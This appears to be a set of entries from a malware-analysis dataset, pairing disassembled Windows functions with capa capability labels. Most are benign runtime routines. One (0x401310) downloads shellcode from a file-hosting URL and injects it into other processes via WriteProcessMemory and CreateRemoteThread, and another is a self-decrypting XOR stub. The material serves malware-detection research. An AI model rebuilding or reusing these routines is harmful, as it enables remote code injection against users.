joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401930
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], str.777ll
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x40199f
cmp dword [ebp - 0x118], 0
je 0x40199f
jmp 0x401a03
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
je 0x401a03
mov dword [ebp - 0x11c], 0x7dc35
mov edx, dword [ebp + 8]
add edx, 8
mov dword [0x440d34], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov dword [0x440d50], ecx
mov dword [ebp - 0x11c], 0x7dc35
mov dword [ebp - 0x11c], 0x7dc35
call fcn.004011b0
mov edx, dword [ebp + 8]
mov dword [0x440d4c], edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
call fcn.00401300
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x40199f
mov esp, ebp
pop ebp
ret

Function at 0x401aa0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x440d40], 0x24e1
mov eax, dword [0x440d40]
sub eax, 0x24e1
mov dword [0x440d40], eax
mov ecx, 1
test ecx, ecx
je 0x401b4b
mov edx, dword [0x440d40]
cmp edx, dword [ebp + 0xc]
jb 0x401ad7
jmp 0x401b4b
cmp dword [0x440d40], 0
jne 0x401af5
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401af5
xor eax, eax
jmp 0x401b4b
mov eax, dword [ebp + 8]
add eax, dword [0x440d40]
mov ecx, dword [eax]
add ecx, dword [0x440d40]
mov edx, dword [ebp + 8]
add edx, dword [0x440d40]
mov dword [edx], ecx
mov dword [ebp - 4], 0x15
mov eax, dword [0x440d40]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x440d40]
push eax
call fcn.004011c0
add esp, 8
mov ecx, dword [0x440d40]
add ecx, 4
mov dword [0x440d40], ecx
jmp 0x401abd
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401310
Capabilities:
Create http request
Create thread
Enumerate processes
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x544
mov eax, dword [0x404004]
xor eax, esp
mov dword [esp + 0x540], eax
push ebx
push esi
push edi
push 0x1f4
lea eax, [esp + 0x354]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], eax
push ecx
push eax
mov dword [esp + 0x20], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4014f1
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x4014f1
nop word [eax + eax]
mov edx, dword [esp + 0x20]
mov ecx, 0x400
call section..text
mov esi, eax
mov dword [esp + 0x10], 0
test esi, esi
je 0x4014c2
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x4014c2
cmp dword [esp + 0x10], 0
je 0x4014c2
push 0x104
lea eax, [esp + 0x24c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x248]
push 0x104
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
push 0xb
lea eax, [esp + 0x24c]
push str.C:Windows_
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x4014c2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x20]
mov ecx, 0x1fffff
call section..text
mov esi, eax
sub esp, 0xc
mov ecx, esi
call fcn.004011b0
add esp, 0xc
mov dword [esp + 0x14], 1
mov edi, eax
push 0
push 0
push 0
push 0
push str.Default_User_Agent
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x400000
push 0
push 0
push str.https:__filebin.net_tdc2wlnmav1ykuum_SHELLCODE_LOCAL
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [esp + 0x14]
push ecx
push 0x1f4
lea ecx, [esp + 0x358]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0x4014c2
push 0
push ebx
lea eax, [esp + 0x358]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4014c2
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x4014db
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401390
jmp 0x4014f1
push ebx
lea eax, [esp + 0x24c]
push eax
push str.Process:_s_n_d
call fcn.00401530
add esp, 0xc
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
call esi
call esi
mov ecx, dword [esp + 0x54c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004015d9
mov esp, ebp
pop ebp
ret
Function at 0x42681c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x10
push 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x426864
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x426864
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x426864
cmp word [eax + 2], 0
je 0x426864
cmp dword [eax + 0x28], 0xfeef04bd
jne 0x426864
add eax, 0x30
jmp 0x426869
mov eax, 0x42c7f8
pop esi
pop ebp
ret
Function at 0x41786b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x425458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408dc5
mov dword [ebp - 0x14], eax
cmp dword [0x8252f8], esi
jne 0x41795e
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4178eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x417a3e
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x417a3e
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x417a3e
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x8252f8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x8252fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x825300], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x825308], eax
test eax, eax
je 0x41795b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x825304], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x417983
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x417976
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x417998
push 4
pop eax
jmp 0x417a40
cmp dword [ebp - 0x14], esi
je 0x417998
push dword [0x8252f8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41797d
mov eax, dword [0x825304]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4179f6
cmp dword [0x825308], edi
je 0x4179f6
push eax
call ebx
push dword [0x825308]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4179f6
test eax, eax
je 0x4179f6
call ecx
test eax, eax
je 0x4179eb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4179eb
test byte [ebp - 8], 1
jne 0x4179f6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x417a26
mov eax, dword [0x8252fc]
cmp eax, edi
je 0x417a23
push eax
call ebx
test eax, eax
je 0x417a23
call eax
mov esi, eax
test esi, esi
je 0x417a23
mov eax, dword [0x825300]
cmp eax, edi
je 0x417a23
push eax
call ebx
test eax, eax
je 0x417a23
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x8252f8]
call ebx
test eax, eax
je 0x417a3e
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x417a40
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f87
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x4cb082
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4cb0ce
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4cb0c8
mov ecx, dword [0x50b7f8]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4cb0bc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4cb0a1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4cb0ca
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x4ccc53
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xf8
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x78]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
jmp 0x4cccbf
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp eax, dword [edx + 0x18]
jae 0x4ccd08
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.004e6100
add esp, 8
test eax, eax
jne 0x4ccd06
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov dx, word [ecx + eax*2]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x4ccd0a
jmp 0x4cccb6
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4d58fa
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.004cf337
add esp, 4
and eax, 0xff
test eax, eax
je 0x4d5983
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0x2cc
push 0
lea eax, [ebp - 0x2cc]
push eax
call fcn.004e0820
add esp, 0xc
mov dword [ebp - 0x2cc], 0x10001
lea ecx, [ebp - 0x2cc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4d5981
mov ecx, dword [ebp - 0x214]
cmp ecx, dword [ebp + 0xc]
jne 0x4d5981
jmp 0x4d5983
jmp 0x4d5903
mov esp, ebp
pop ebp
ret

Function at 0x4d5df3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
movsx eax, byte [0x50c404]
test eax, eax
jne 0x4d5e07
call fcn.004d5d24
xor ecx, ecx
mov cl, byte [0x50c401]
test ecx, ecx
jne 0x4d5e8e
xor edx, edx
mov dl, byte [0x50c400]
test edx, edx
jne 0x4d5e8e
cmp dword [0x50c60c], 0
je 0x4d5e69
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x180
mov ecx, dword [0x50c60c]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 4]
push edx
push 0x186
mov eax, dword [0x50c60c]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x50c60c]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
jmp 0x4d5e8e
push 0x10001
push 0x50c404
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
jne 0x4d5e8e
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x4d8f9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x4d8faa
xor eax, eax
jmp 0x4d9173
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x4d912b
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x509eac]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
sub ecx, 8
mov dword [ebp + 0x10], ecx
jmp 0x4d8fb3
cmp dword [ebp + 0x10], 0
je 0x4d916d
mov edx, dword [ebp + 0xc]
xor eax, eax
mov al, byte [edx]
mov ecx, dword [ebp + 8]
xor ecx, eax
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
mov eax, dword [ecx*4 + 0x509eac]
xor eax, edx
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
cmp dword [ebp + 0x10], 0
jne 0x4d9131
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x4e29b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x5074c8
cmp edx, dword [eax]
je 0x4e29d2
add eax, 8
inc ecx
cmp eax, 0x507558
jl 0x4e29c3
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x5074c8]
jne 0x4e2b00
mov eax, dword [0x50c688]
cmp eax, 1
je 0x4e2ada
test eax, eax
jne 0x4e2a03
cmp dword [0x507204], 1
je 0x4e2ada
cmp edx, 0xfc
je 0x4e2b00
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4e2a3a
lea eax, [ebp - 0x1a4]
push 0x50b2c8
push eax
call fcn.004e0980
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004e0b30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4e2a7d
lea eax, [ebp - 0x1a4]
push eax
call fcn.004e0b30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x50b2c4
push edi
call fcn.004e0bb0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x50b2a8
push eax
call fcn.004e0980
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004e0990
lea eax, [ebp - 0xa0]
push 0x50b2a4
push eax
call fcn.004e0990
push dword [esi + 0x5074cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004e0990
push 0x12010
lea eax, [ebp - 0xa0]
push 0x50b27c
push eax
call fcn.004e4f78
add esp, 0x2c
pop edi
jmp 0x4e2b00
lea eax, [ebp + 8]
lea esi, [esi + 0x5074cc]
push 0
push eax
push dword [esi]
call fcn.004e0b30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10002b80
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x1008aab0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push edi
mov dword [esp + 8], 0
lea ecx, [esi + 0x20]
call fcn.1008a4f0
or edi, 0xffffffff
push eax
push edi
push str.UseLegacy
push str.system
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
jne 0x10002c37
lea eax, [esp + 0x48]
lea ecx, [esp + 0x14]
push eax
push str.F:SCVICEIceServiceIceServer.cpp
mov dword [esp + 0x50], 0x316
call fcn.10038570
push 0x100a2e50
push 0
push eax
mov dword [esp + 0x48], 0
call fcn.100386d0
add esp, 0xc
mov dword [esp + 0x3c], edi
lea ecx, [esp + 0x14]
call fcn.100385c0
mov dword [esp + 8], 0
mov eax, dword [esp + 0x44]
push 0
push 0
lea edx, [esp + 0x10]
push 4
push edx
push eax
mov ecx, esi
call fcn.10002700
mov ecx, dword [esp + 0x34]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
cmp eax, 1
jne 0x10002ced
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x31c
push ecx
push str.F:SCVICEIceServiceIceServer.cpp
lea ecx, [esp + 0x1c]
call fcn.10038570
push 0x100a2e08
push 0
push eax
mov dword [esp + 0x48], 1
call fcn.100386d0
add esp, 0xc
lea ecx, [esp + 0x14]
mov dword [esp + 0x3c], edi
call fcn.100385c0
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 8]
mov eax, dword [eax + 4]
push ecx
push edx
push eax
lea ecx, [esi + 0x40]
call fcn.10007560
test eax, eax
jne 0x10002c05
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0x32c
push ecx
push str.F:SCVICEIceServiceIceServer.cpp
lea ecx, [esp + 0x2c]
call fcn.10038570
push 0x100a2ddc
push 1
push eax
mov dword [esp + 0x48], 3
call fcn.100386d0
add esp, 0xc
lea ecx, [esp + 0x24]
mov dword [esp + 0x3c], edi
call fcn.100385c0
mov dword [esp + 8], 0x6e
jmp 0x10002c0d
test byte [esi + 0x28], 0x3c
jne 0x10002c80
lea edx, [esp + 0x48]
lea ecx, [esp + 0x14]
push edx
push str.F:SCVICEIceServiceIceServer.cpp
mov dword [esp + 0x50], 0x324
call fcn.10038570
push 0x100a2d94
push 0
push eax
mov dword [esp + 0x48], 2
call fcn.100386d0
add esp, 0xc
mov dword [esp + 0x3c], edi
lea ecx, [esp + 0x14]
jmp 0x10002c00

Function at 0x10003be0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x1008a839
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.100374a0
lea ebx, [esi + 0x20]
xor edi, edi
mov ecx, ebx
mov dword [esp + 0x18], edi
call fcn.1008a4a0
mov dword [esi + 0x2c], 0x10093730
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
lea ecx, [esi + 0x40]
mov byte [esp + 0x18], 2
call fcn.10006fa0
mov ecx, ebx
mov byte [esp + 0x18], 3
mov dword [esi], 0x10093714
mov dword [esi + 0x18], edi
call fcn.1008a4d0
mov ecx, dword [esp + 0x10]
mov dword [esi + 0x1c], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x74], edi
mov dword [esi + 0x78], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
mov ecx, 0x100aba30
jmp 0x10001080